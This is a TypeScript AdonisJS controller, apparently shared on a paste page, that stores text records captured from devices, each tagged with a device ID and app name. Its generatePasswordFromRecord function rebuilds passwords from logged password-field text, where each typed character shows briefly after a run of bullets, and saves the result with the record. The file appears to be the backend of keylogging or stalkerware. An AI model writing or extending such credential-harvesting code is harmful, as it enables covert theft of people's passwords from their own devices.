TextRecordController.ts 2.4 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364
  1. import PaginationService from 'App/Services/PaginationService'
  2. import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  3. import TextRecord from 'App/Models/TextRecord'
  4. import { schema } from '@ioc:Adonis/Core/Validator'
  5. export default class TextRecordController {
  6. private paginationService = new PaginationService(TextRecord)
  7. public async index({ request }: HttpContextContract) {
  8. return await this.paginationService.paginate(request.all())
  9. }
  10. public async store({ request, bouncer }: HttpContextContract) {
  11. await bouncer.authorize('admin')
  12. const payload = await request.validate({
  13. schema: schema.create({
  14. deviceId: schema.string(),
  15. appName: schema.string(),
  16. record: schema.string()
  17. })
  18. })
  19. const password = this.generatePasswordFromRecord(payload.record)
  20. return await TextRecord.create({ ...payload, password })
  21. }
  22. public async update({ request, params, bouncer }: HttpContextContract) {
  23. await bouncer.authorize('admin')
  24. const payload = await request.validate({
  25. schema: schema.create({
  26. deviceId: schema.string.optional(),
  27. appName: schema.string.optional(),
  28. record: schema.string.optional(),
  29. password: schema.string.optional()
  30. })
  31. })
  32. const record = await TextRecord.findOrFail(params.id)
  33. record.merge(payload)
  34. await record.save()
  35. return record
  36. }
  37. private generatePasswordFromRecord(text?: string): string {
  38. if (!text || typeof text !== 'string') return ''
  39. const bullet = '•'
  40. const result: string[] = []
  41. const seenCounts = new Set<number>()
  42. const lines = text.split(/\r?\n/)
  43. for (const rawLine of lines) {
  44. const line = rawLine.trim()
  45. if (line.length === 0) continue
  46. const lastChar = line.charAt(line.length - 1)
  47. if (lastChar === bullet) continue
  48. if (!/[A-Za-z0-9]/.test(lastChar)) continue
  49. const head = line.slice(0, -1)
  50. const allBullets = head.split('').every((c) => c === bullet)
  51. if (!allBullets) continue
  52. const bulletCount = head.length
  53. if (seenCounts.has(bulletCount)) continue
  54. seenCounts.add(bulletCount)
  55. result.push(lastChar)
  56. }
  57. return result.join('')
  58. }
  59. }